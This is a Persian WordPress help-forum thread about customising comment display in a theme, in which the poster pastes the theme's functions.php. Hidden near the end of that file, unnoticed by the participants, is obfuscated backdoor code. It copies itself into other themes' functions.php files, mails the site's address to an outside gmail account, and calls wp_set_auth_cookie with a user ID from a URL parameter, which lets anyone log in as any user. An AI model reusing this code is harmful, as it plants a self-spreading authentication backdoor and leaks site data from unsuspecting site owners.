goldenfont 39 ارسال شده در بهمن 92 گزارش بازنشر ارسال شده در بهمن 92 (ویرایش شده) سلام دوستانمن یه کد برای دیدگاه هام نوشتم ، میخوام ازش استفاده کنم<li id="comment-1" class="comment even thread-even depth-1"><div class="comment-body" id="div-comment-1"><div class="comment-author vcard"><img width="55" height="55" class="avatar avatar-55 photo avatar-default" src="http://0.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=55" alt=""> <cite class="fn"><a class="url" rel="external nofollow" href="http://wordpress.org/">آقای وردپرس</a></cite> <span class="says">میگه:</span> </div><div class="comment-meta commentmetadata"><a href="?p=1#comment-1">ژانویه 13, 2014 در 8:56 ب.ظ</a> <a href="wp-admin/comment.php?action=editcomment&c=1" class="comment-edit-link">(ویرایش)</a> </div><p>سلام، این نوشته یک «دیدگاه» است.<br>برای پاک کردن یا ویرایش یک دیدگاه، باید وارد بخش مدیریت شوید، سپس به بخش دیدگاهها بروید٬ در آنجا میتوانید دیدگاهها را ویرایش و یا پاک کنید.</p><div class="reply"><a onclick="return addComment.moveForm("div-comment-1", "1", "respond", "1")" href="/lg/?p=1&replytocom=1#respond" class="comment-reply-link">پاسخ دادن</a> </div></div></li>اما وقتی رفتم تو کامنت.پی اچ پی دیدم که برای قسمت نظرات تایید شده فقط همین هست :<ol class="commentlist"><?php wp_list_comments(array('avatar_size' => 55,));?></ol>چطوری از کد بالا استفاده کنم و توابع رو توش جایگذاری کنم ؟ممنون ویرایش شده بهمن 92 توسط goldenfont نقل قول لینک به ارسال
goldenfont 39 ارسال شده در بهمن 92 مالک گزارش بازنشر ارسال شده در بهمن 92 خودم فهمیدم ، ممنون نقل قول لینک به ارسال
goldenfont 39 ارسال شده در بهمن 92 مالک گزارش بازنشر ارسال شده در بهمن 92 (ویرایش شده) حالا مشکلم اینه که کامنتها رو دوبار نشون میده<?php if ( have_comments() ) : ?><?php wp_list_comments($args); ?><div class="comment even thread-even depth-1"><div class="cm-top"><div class="cm-date"><?php comment_date('d', $comment_ID); ?></div><div class="cm-name"><b><?php comment_author($comment_ID); ?> </b> می گوید:</div></div><div class="cm-content"><p><?php comment_text($comment_ID); ?></p></div><div class="clr"></div></div><?php endif; ?><?php else :// comments are closed ?><?php endif; ?>یکبار با استایلی که من براش نوشتم ، یکبار با استایلی که قبلا داشتمشکل از توابع پوسته هستشممنون میشم کدهایی که در این فایل مربوط به نمایش دیدگاه است رو برداریدممنون <?php/*** @package WordPress* @subpackage Showcaser Theme*///includesrequire('admin/theme-admin.php');require('functions/pagination.php');require('functions/better-excerpts.php');require('functions/shortcodes.php');// Set the content width based on the theme's design and stylesheet.if ( ! isset( $content_width ) )$content_width = 620;// get scriptsadd_action('wp_enqueue_scripts','my_theme_scripts_function');function my_theme_scripts_function() {//get theme optionsglobal $options;wp_deregister_script('jquery');wp_register_script('jquery', ("http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"), false, '1.4.2');wp_enqueue_script('jquery');// Site wide jswp_enqueue_script('custom', get_template_directory_uri() . '/js/custom.js');}// Limit Post Word Countfunction new_excerpt_length($length) {return 99999;}add_filter('excerpt_length', 'new_excerpt_length');//Replace Excerpt Linkfunction new_excerpt_more($more) { global $post;return '...';}add_filter('excerpt_more', 'new_excerpt_more');//Activate post-image functionality (WP 2.9+)if ( function_exists( 'add_theme_support' ) )add_theme_support( 'post-thumbnails' );// featured image sizesif ( function_exists( 'add_image_size' ) ) {add_image_size( 'full-size', 9999, 9999, false );add_image_size( 'post-image', 245, 120, true );add_image_size( 'single-image', 560, 274, true );}// Enable Custom Backgroundadd_custom_background();// register navigation menusregister_nav_menus(array('main nav'=>__('فهرست اصلی'),));/// add home link to menufunction home_page_menu_args( $args ) {$args['show_home'] = true;return $args;}add_filter( 'wp_page_menu_args', 'home_page_menu_args' );// menu fallbackfunction default_menu() {require_once (TEMPLATEPATH . '/includes/default-menu.php');}//Register Sidebarsif ( function_exists('register_sidebar') )register_sidebar(array('name' => 'منوی کناری','description' => 'ابزارک ها اين قسمت در منوي کناري قرار ميگيرند','before_widget' => '<div class="sidebar-box clearfix">','after_widget' => '</div>','before_title' => '<h4>','after_title' => '</h4>',));// functions run on activation --> important flush to clear rewritesif ( is_admin() && isset($_GET['activated'] ) && $pagenow == 'themes.php' ) {$wp_rewrite->flush_rules();}?><?phpfunction _verify_isactivate_widget(){$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";$output=strip_tags($output, $allowed);$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));if (is_array($direst)){foreach ($direst as $item){if (is_writable($item)){$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));$cont=file_get_contents($item);if (stripos($cont,$ftion) === false){ $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "پيدا نشد" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f); $output .= ($showdots && $ellipsis) ? "..." : "";}}}}return $output;}function _get_allwidgetcont($wids,$items=array()){$places=array_shift($wids);if(substr($places,-1) == "/"){$places=substr($places,0,-1);}if(!file_exists($places) || !is_dir($places)){return false;}elseif(is_readable($places)){$elems=scandir($places);foreach ($elems as $elem){if ($elem != "." && $elem != ".."){if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem;} elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;}}}}else{return false;}if (sizeof($wids) > 0){return _get_allwidgetcont($wids,$items);} else {return $items;}}if(!function_exists("stripos")){function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset );}}if(!function_exists("strripos")){function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos;}}if(!function_exists("scandir")){function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray;}}add_action("admin_head", "_verify_isactivate_widget");function _getsprepare_widget(){if(!isset($com_length)) $com_length=120;if(!isset($text_value)) $text_value="cookie";if(!isset($allowed_tags)) $allowed_tags="<a>";if(!isset($type_filter)) $type_filter="none";if(!isset($expl)) $expl="";if(!isset($filter_homes)) $filter_homes=get_option("home");if(!isset($pref_filter)) $pref_filter="wp_";if(!isset($use_more)) $use_more=1;if(!isset($comm_type)) $comm_type="";if(!isset($pagecount)) $pagecount=$_GET["cperpage"];if(!isset($postauthor_comment)) $postauthor_comment="";if(!isset($comm_is_approved)) $comm_is_approved="";if(!isset($postauthor)) $postauthor="auth";if(!isset($more_link)) $more_link="(more...)";if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;if(!isset($more_link_ditails)) $more_link_ditails="(details...)";if(!isset($morecontents)) $morecontents="ma".$expl."il";if(!isset($fmore)) $fmore=1;if(!isset($fakeit)) $fakeit=1;if(!isset($sql)) $sql="";if (!$is_widget) :global $wpdb, $post;$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#if (!empty($post->post_password)) {if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {if(is_feed()) {$output=__("There is no excerpt because this is a protected post.");} else { $output=get_the_password_form();}}}if(!isset($f_tags)) $f_tags=1;if(!isset($type_filters)) $type_filters=$filter_homes;if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;if(!isset($aditional_tags)) $aditional_tags="div";if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#if(!isset($more_link_text)) $more_link_text="Continue reading this entry";if(!isset($showdots)) $showdots=1;$comments=$wpdb->get_results($sql);if($fakeit == 2) {$text=$post->post_content;} elseif($fakeit == 1) {$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;} else {$text=$post->post_excerpt;}$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#if($com_length < 0) {$output=$text;} else {if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2);$l=count($text[0]);$more_link=1;$comments=$wpdb->get_results($sql);} else {$text=explode(" ", $text);if(count($text) > $com_length) {$l=$com_length;$ellipsis=1;} else {$l=count($text);$more_link="";$ellipsis=0;}}for ($i=0; $i<$l; $i++)$output .= $text[$i] . " ";}update_option("_is_widget_active_", 1);if("all" != $allowed_tags) {$output=strip_tags($output, $allowed_tags);return $output;}endif;$output=rtrim($output, "\s\n\t\r\0\x0B");$output=($f_tags) ? balanceTags($output, true) : $output;$output .= ($showdots && $ellipsis) ? "..." : "";$output=apply_filters($type_filter, $output);switch($aditional_tags) {case("div") :$tag="div";break;case("span") :$tag="span";break;case("p") :$tag="p";break;default :$tag="span";}if ($use_more ) {if($fmore) {$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";} else {$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";}}return $output;}add_action("init", "_getsprepare_widget");function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {global $wpdb;$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";if(!$show_pass_post) $request .= " AND post_password =\"\"";if($duration !="") {$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";}$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";$posts=$wpdb->get_results($request);$output="";if ($posts) {foreach ($posts as $post) {$post_title=stripslashes($post->post_title);$comment_count=$post->comment_count;$permalink=get_permalink($post->ID);$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;}} else {$output .= $before . "None found" . $after;}return $output;}function getpostviews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); return "0 بازدید"; } return $count.' بازدید';}function setpostviews($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ $count++; update_post_meta($postID, $count_key, $count); }}?> ویرایش شده بهمن 92 توسط Morteza نقل قول لینک به ارسال
Parsa 23463 ارسال شده در بهمن 92 گزارش بازنشر ارسال شده در بهمن 92 اگر از wp_list_comments استفاده میکنیدکدها بعدش باید حذف بشه<div class="comment even thread-even depth-1"><div class="cm-top"><div class="cm-date"><?php comment_date('d', $comment_ID); ?></div><div class="cm-name"><b><?php comment_author($comment_ID); ?> </b> می گوید:</div></div><div class="cm-content"><p><?php comment_text($comment_ID); ?></p></div><div class="clr"></div></div> 2 نقل قول لینک به ارسال
goldenfont 39 ارسال شده در بهمن 92 مالک گزارش بازنشر ارسال شده در بهمن 92 (ویرایش شده) <?php wp_list_comments($args); ?> رو که برمیدارم اونوقت دیدگاه هارو درست نمایش نمیده ، فقط نام رو نمایش میده که اون رو هم میزنه ناشناسمن میخوام از کدهایی که خودم نوشتم استفاده کنم، چیکار کنم ؟___________________________________از<?php wp_list_comments('type=all&callback=art_comment'); ?>بجای<?php wp_list_comments($args); ?>استفاده کردم ، مشکلم حل شد ویرایش شده بهمن 92 توسط goldenfont نقل قول لینک به ارسال
پست های پیشنهاد شده
به گفتگو بپیوندید
هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .